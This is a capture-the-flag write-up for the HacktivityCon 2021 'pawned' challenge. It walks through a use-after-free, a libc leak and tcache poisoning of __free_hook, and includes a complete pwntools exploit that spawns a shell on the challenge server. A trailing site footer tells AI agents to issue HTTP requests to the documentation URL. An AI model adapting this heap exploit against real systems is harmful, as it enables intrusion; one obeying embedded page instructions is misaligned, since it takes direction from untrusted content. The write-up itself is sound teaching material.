# pawned

## Files

{% embed url="<https://github.com/0xTen/CTFs/tree/main/hacktivitycon/2021/pawned>" %}

## The binary

![](/files/-MjuyRbkzHjCd-8HNCxL)

The binary has 4 main features, one of them being a secret one that can be found reversing the binary and what those basically do is free, allocate, dump and edit chunks.

![](/files/-MjvXOlB9LRPuio5cWpN)

When freeing chunks, the pointer isn't removed from the list, creating a use-after-free condition and, potentially, memory leaks as well.

As always, I started by creating a few helper functions.

```python
#!/usr/bin/env python
from pwn import *
import sys

# Defitions
e = context.binary = ELF('./pawned',checksec=False)
libc = ELF('./libc-2.31.so',checksec=False)

if args.REMOTE:
    io = remote('challenge.ctf.games',30197)
else:
    io = process(e.path)

def alloc(len,data=''):
    io.sendlineafter('> ','s')
    io.sendlineafter(': ','1')
    io.sendlineafter(': ',str(len))
    io.sendlineafter(': ',data)

def free(idx):
    io.sendlineafter('> ','b')
    io.sendlineafter(': ',str(idx))

def dump():
    io.sendlineafter('> ','p')

def edit(idx,len,data=''):
    io.sendlineafter('> ','m')
    io.sendlineafter(': ',str(idx))
    io.sendlineafter(': ','1')
    io.sendlineafter(': ',str(len))
    io.sendlineafter(': ',data)
```

## Leak libc

If we make a unsorted bin size allocation and then free it, the pointer will still exist but now will point to it's metadata, which contains a pointer to libc main arena, so we can easily leak libc.

```python
    [...]
    alloc(0x600) #1
    alloc(0x10) # 2 avoid top-chunk consolidation
    free(1)
    dump()
    [...]
```

Then we just need to parse the leak and subtract the offset to get the libc base.

```python
def leak_libc():
    io.recvuntil('Name: ')
    leak = u64(io.recv()[:6].ljust(8,'\x00'))
    return leak - 0x1ebbe0
```

## Tcache poisoning

At this point, all we have to do is to set a tcache list to poison, free one of the chunks in the list then edit the fd pointer by abusing the use-after-free bug so we can allocate in arbitrary memory.

![](/files/-Mjv_mjWmLiVAUZqULfK)

## Final exploit

At this point my strategy was pretty simple, allocate at `__free_hook` , then edit with a pointer to system and free a chunk with /bin/sh in it's contents so when a free is called I'll get a shell.

```python
#!/usr/bin/env python
from pwn import *
import sys

# Defitions
e = context.binary = ELF('./pawned',checksec=False)
libc = ELF('./libc-2.31.so',checksec=False)

if args.REMOTE:
    io = remote('challenge.ctf.games',30197)
else:
    io = process(e.path)

def alloc(len,data=''):
    io.sendlineafter('> ','s')
    io.sendlineafter(': ','1')
    io.sendlineafter(': ',str(len))
    io.sendlineafter(': ',data)

def free(idx):
    io.sendlineafter('> ','b')
    io.sendlineafter(': ',str(idx))

def dump():
    io.sendlineafter('> ','p')

def edit(idx,len,data=''):
    io.sendlineafter('> ','m')
    io.sendlineafter(': ',str(idx))
    io.sendlineafter(': ','1')
    io.sendlineafter(': ',str(len))
    io.sendlineafter(': ',data)

# Exploit
def leak_libc():
    io.recvuntil('Name: ')
    leak = u64(io.recv()[:6].ljust(8,'\x00'))
    return leak - 0x1ebbe0

def pwn():
    alloc(0x600) #1
    alloc(0x10) # 2 avoid top-chunk consolidation
    free(1)
    dump()
    libc.address = leak_libc()
    io.sendline('0') # realign I/O stream
    log.success('Libc: ' + hex(libc.address))
    alloc(0x40) #3
    alloc(0x40) #4 tcache poison
    alloc(0x40) #5
    free(3)
    free(4)
    edit(4,0x40,p64(libc.address + 0x1eeb28))
    free(2)
    alloc(0x40,'/bin/sh') #6
    alloc(0x40,p64(libc.sym['system'])) #6
    free(6)
    io.recv(1024)

pwn()
io.interactive()
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xten.gitbook.io/public/hacktivitycon/2021/pawned.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
